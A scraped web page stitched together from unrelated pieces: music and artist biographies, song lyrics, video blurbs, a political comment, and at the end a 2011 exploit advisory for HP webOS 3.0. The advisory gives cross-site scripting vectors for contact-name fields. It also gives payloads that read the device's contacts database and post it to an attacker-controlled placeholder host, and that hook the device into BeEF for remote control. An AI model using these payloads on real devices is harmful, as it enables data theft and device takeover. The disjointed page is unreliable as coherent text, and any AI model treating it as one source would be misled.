Bardo was a male/female pop music duo (Sally Ann Triplett and Stephen Fischer) formed to represent the United Kingdom in the 1982 Eurovision Song Contest with the song "One Step Further".

Triplett, a children's TV presenter (Crackerjack), was previously a member of the UK's 1980 Eurovision act Prima Donna. Triplett is one of only four singers to have represented the UK in the Eurovision Song Contest twice; the others being Ronnie Carroll, Cliff Richard and Cheryl Baker of Bucks Fizz. Fischer was a singer and actor.
24/Apr 1982
Harrogate Conference Centre. UK.

Remember our history. We can´t bomb people to submission. That was what we did to the German people in the first world war and that only gave us a second war. Educate them and rebuild their land so the have somthing to live for. Right now we only give them a reason to die for.

Lesley Garrett CBE (born 10 April 1955) is an English soprano singer, musician, broadcaster and media personality. Garrett was born in the town of Thorne near Doncaster in South Yorkshire, into a musical family. She attended Thorne Fieldside Infant and Junior Schools and Thorne Grammar School, where she performed in school plays and musicals and passed 10 O-levels and an A-level in music. As she grew up she inherited her family's love of music. Her grandfather Colin Wall was a classical pianist, her father Derek worked as a railway signalman and then as a schoolteacher at Hatfield Woodhouse Primary School, eventually going on to become a headmaster. They lived nearby just South of the village; her mother Margaret (née Wall) was a talented singing seamstress and became the school secretary at Lesley's primary school. She has a sister, Kay. - André Léon Marie Nicolas Rieu (born 1 October 1949) is a Dutch violinist, conductor, and composer best known for creating the waltz-playing Johann Strauss Orchestra.
Courtesy Wikipedia = Nicam Digital Stereo. Copied on a Sony SLV-SE700 VCR VHS Recorder- - - 16:9 widescreen - http://www.lesleygarrett.co.uk/

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From jaw-dropping goals on the pitch to 100-yard touchdown runs on the gridiron, here are your Opus Bank #12Best Plays of the Week for Oct. 28-Nov. 3. Catch more highlights and top plays every Sunday on "Pac-12 Playlist" on Pac-12 Network.

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Planet Chucky and I Return to the baguette life.

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<br />漫步在荒原　我想找一棵棲身的樹<br />有陽光　有流水　還有微風吹<br /><br />該如何面對　這未知的一切　讓自己的思緒沈澱<br />隨著天色的改變　心情的外衣也要多加一件<br /><br />這些對　那些好　我想追　我想逃　其實我也害怕<br />可不可以就這樣停下來　我要多一點時間好讓我再想一想<br /><br />隔著玻璃窗　我早已沈醉在藍色的街<br />有寂寞　有笑語　還有看不見的雪<br /><br />該如何整理　這忙亂的城市　還有我的心事<br />躲在十二月熱鬧的夜　我只要一個人　安安靜靜地<br /><br />什麼對　什麼好　不要問　不要猜<br />不要太靠近我　可不可以勇敢地停下來<br />我要多一點空間好讓我再想一想<br />
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<script type="text/javascript">document.write("<DIV id=f63x13>");</script>
<br /><br /><br /><br /><br />２００８－４－５

Best music
John Cale Work

Lyrics:
Words and music: lou reed & john cale

Andy was a catholic, the ethic ran through his
bones
He lived alone with his mother, collecting gossip
and toys
Every sunday when he went to church
He'd kneel in his pew and say, "it's just
work,
All that matters is work."

He was a lot of things, what I remember most
He'd say, "i've got to bring home the bacon,
someone's got to bring home the roast."
He'd get to the factory early
If you'd ask him he'd tell you straight out
It's just work, the most important thing is work
No matter what I did it never seemed enough
He said I was lazy, I said I was young
He said, "how many songs did you write?
"
I'd written zero, I'd lied and said,
"ten."
"you won't be young forever
You should have written fifteen"
It's work, the most important thing is work
It's work, the most important thing is work

"you ought to make things big
People like it that way
And the songs with the dirty words - record them
that way"
Andy liked to stir up trouble, he was funny that
way
He said, "it's just work, all that matters is
work"
Andy sat down to talk one day
He said decide what you want
Do you want to expand your parameters
Or play museums like some dilettante
I fired him on the spot, he got red and called me
a rat
It was the worst word that he could think of
And I've never seen him like that
It's just work, I thought he said it's just work
Work, he said it's just work

Andy said a lot of things, I stored them all away
in my head
Sometimes when I can't decide what I should do
I think what would andy have said
He'd probably say you think too much
That's 'cause there's work that you don't want to
do
It's work, the most important thing is work
Work, the most important thing is work


John Davies Cale, OBE (born 9 March 1942) is a
Welsh musician, composer, singer-songwriter and
record producer who was a founding member of the
experimental rock band The Velvet Underground.
Though best known for his work in rock music, Cale
has worked in various genres including drone and
classical. Since departing from the Velvet
Underground in 1968 he has released approximately
30 albums. Of his solo work, Cale is perhaps best
known for his album Paris 1919, and his cover
version of Leonard Cohen's "Hallelujah", plus his
mid-1970s Island Records trilogy of albums: Fear,
Slow Dazzle, and Helen of Troy. Cale has produced
or collaborated with Lou Reed, Nico, La Monte
Young, John Cage, Terry Riley, Hector Zazou,
Cranes, Nick Drake, Mike Heron, Kevin Ayers, Brian
Eno, Patti Smith, The Stooges, The Modern Lovers,
Art Bergmann, Manic Street Preachers and frontman
James Dean Bradfield, Marc Almond, Element of
Crime, Squeeze, Happy Mondays, LCD Soundsystem,
The Replacements, and Siouxsie and the Banshees.
Cale was inducted into the Rock and Roll Hall of
Fame as member of the Velvet Underground in 1996.

tonykwk39@gmail.com
Dana Schutz, American (1976) - Dana Schutz's work has been described as ‘teetering on the edge of tradition and innovation'. 'My paintings are loosely based on metanarratives. The pictures float in and out of pictorial genres. Still lifes become personified, portraits become events and landscapes become constructions. I embrace the area between which the subject is composed and decomposing, formed and formless, inanimate and alive. Recently I have been making paintings of sculptural goddesses, transitory still lifes, people who make things, people who are made and people who have the ability to eat themselves. Although the paintings themselves are not specifically narrative, I often invent imaginative systems and situations to generate information. These situations usually delineate a site where making is a necessity, audiences potentially don't exist, objects transcend their function and reality is malleable .' Dana Schutz 2004
達納·舒茨（Dana Schutz）（1976） - 達納·舒茨（Dana Schutz）的作品被形容為“在傳統與創新的邊緣搖擺不定”。 “我的繪畫是鬆散的基於metanarratives。圖片漂浮在圖像流派和流派之外。靜物成為人格化，肖像成為事件，景觀成為建築。我擁抱主題構成的分解，形成和無形，無生命的區域。最近我一直在做雕塑女神，暫時靜物，做事的人，製造的人和有能力吃自己的人的繪畫。雖然繪畫本身並不是特別的敘述，但我常常創造出富有想像力的系統和情境來產生信息。這些情況通常會描繪一個製作場所的必要性，觀眾可能不存在，對象超越其功能，而現實是可塑的。
Dana Schutz (born 1976) is an American artist who lives and works in Brooklyn, New York. She is known for her humorous, gestural paintings that take on specific subjects or narrative situations as a point of departure. Her painting Open Casket, when shown in the 2017 Whitney Biennial, drew protests "urging that the painting be not only removed from the show but also destroyed".
She grew up in Livonia, Michigan, a suburb of Detroit. Her mother was an art teacher in a junior high school and an amateur painter, her father a high school counselor. An only child, Schutz graduated in 1995 from Adlai E. Stevenson High School. In 1999, while pursuing her BFA at the Cleveland Institute of Art, Schutz then went abroad to attend the Norwich School of Art and Design in Norwich, England. That same year, she participated in Maine’s Skowhegan School of Painting and Sculpture residency program, and in 2000 completed her BFA upon her return to Cleveland. In 2002, Schutz received her MFA from Columbia University in the city of New York.
She first came to attention in 2002 with her debut exhibition "Frank from Observation" (2002) at LFL gallery (which then became Zach Feuer Gallery). This show was based on the conceit of Schutz as the last painter, representing the last subject “Frank”. Since then her fictive subjects have ranged from people who can eat themselves, a gravity fanatic, imaginary births and deaths, and public/private performers. On the occasion Schutz’s museum retrospective at the Neuberger Museum, New York Times critic Karen Rosenberg wrote “Ms. Schutz has become a reliable conjurer of wickedly grotesque creatures and absurd situations, willed into existence by her vigorous and wildly colorful brush strokes.” She concludes, “Again and again Ms. Schutz has challenged herself to come up with a subject that’s too awkward, gross, impractical or invisible to paint. But she has yet to find one that stumps her.”
When asked where she comes up with her subject matter, Schutz told Mel Chin of Bomb magazine: "The paintings are not autobiographical I respond to what I think is happening in the world. The hypotheticals in the paintings can act as surrogates or narratives for phenomena that I feel are happening in culture. In the paintings, I think in terms of adjectives and adverbs. Often I will get information from people or things that I see, a phrase, or how one object relates to another. I construct the paintings as I go along."
Jörg Heiser, who has compared Schutz to Austrian painter Maria Lassnig, describes the work in his 2008 book All of a Sudden: “Her canvases are ‘too big,’ the way showy gold chains are too big, but also skeptical and at times bad-tempered, the way intelligent teenagers are in their loathing of the bland aestheticism and brash sexuality of pop-modernity”. With regard to color, Heiser adds, “Schutz’s pictures favor a carefully chosen palette of vomit and mold and rot, between pink and purple, turquoise and olive, ocher and crap."
In an essay for Schutz's catalog, Dana Schutz: Paintings 2002-2005, New York-based curator Katy Siegel addressed Schutz's work as paintings that "speak so vividly of their making," claiming that the paintings are an "allegory for the process of making art." Siegel goes on to write "by rendering the process of creation as one of drawing on oneself, recycling oneself and making oneself, Schutz creates a model of creation that blurs beginnings and endings, avoiding the dramatic genesis of the modernist blank canvas, as well as the nihilistic cul-de-sac of the appropriated media image."

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The Voice of Venom is back this time with the voice of Carnage! (Not actually Tom Hardy!). Venom and Carnage take to VRChat, and my buddy Sethimus is really in his element in VRChat!
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# Exploit Title: HP webOS 3.0 Remote Code Execution Vulnerability
# Author: malloc(i)
# Date: 06/30/2011
# Software Link:
# https://developer.palm.com/con....tent/resources/devel
# Product: http://www.palm.com/us/product....s/pads/touchpad/inde
AJAX Code:
http://cybermediaplanet.com/se....curity/webOS3.0/webO

White Doc From webOS 1.4.x (Same Concept Different Version) :
http://cybermediaplanet.com/se....curity/webOS1.4.x/Pa

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of HP webOS 3.0. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the contacts application. When handling the first name and/or last name from an imported contact, malicious injected HTML/JvaScript code renders, which allows an attacker to inject arbitrary code into the contacts application. This can be abused by an attacker to perform a cross-site scripting attack on the device.

The ability for an attacker to execute arbitrary code can be demonstrated by the following proof of concept.

Attack Vector:
Inject the javascript code into the contact information within linkedin to get an external JavaScript file to execute. The first name and Last name fields concatenate within webOS, so the character limit of 20 chars per name entry imposed by linkedin can be extended to 40 characters.
JavaScript code could also be run through an iframe, img, etc..:
Create a vector within the 40 Character limit:
<iframe src="javascript:document.write('<script src=URL/payload.js></script>')">
<iframe src='javascript:[CODE]'></iframe>
<a href='javascript:[CODE]'></a>
<img src='javascript:[CODE]'/>

Inject XSS code to source in a remote JavaScript file which will execute the malicious payload.


Remote JavaScript Payload Examples:

1) Remote File Access Vulnerability

document.write("<html><head><script src=\"/usr/palm/frameworks/mojo/mojo.js\" type=\"text/javascript\" ></script></head><iframe src=\"javascript:var get=new Ajax.Request('/var/db/main/indexes.db',{method:'get',evalJSON:'false',onSuccess:function(response){var request=new Ajax.Request('http://www.URL/collectData.php',{method:'post',evalJson:'false',postBody:response.responseText});}});\"></html>");

2) Remote Command and Control (BeEF)

document.write("<html><head><script src=\"/usr/palm/frameworks/mojo/mojo.js\" type=\"text/javascript\" x-mojo-version\"1\"></script></head><script src=\"http://URL/beef/hook/beefmagic.js.php\" type=\"text/javascript\" x-mojo-version=\"1\"></script></html>");


WebOS3.0 SDK Email Exploit Example:
http://www.youtube.com/watch?v=qKKrcJeyY-w

How It Is Done (WebOS1.4.x Example):
http://www.youtube.com/watch?v=Y5f8zJNiB_0


http://cybermediaplanet.com/security.html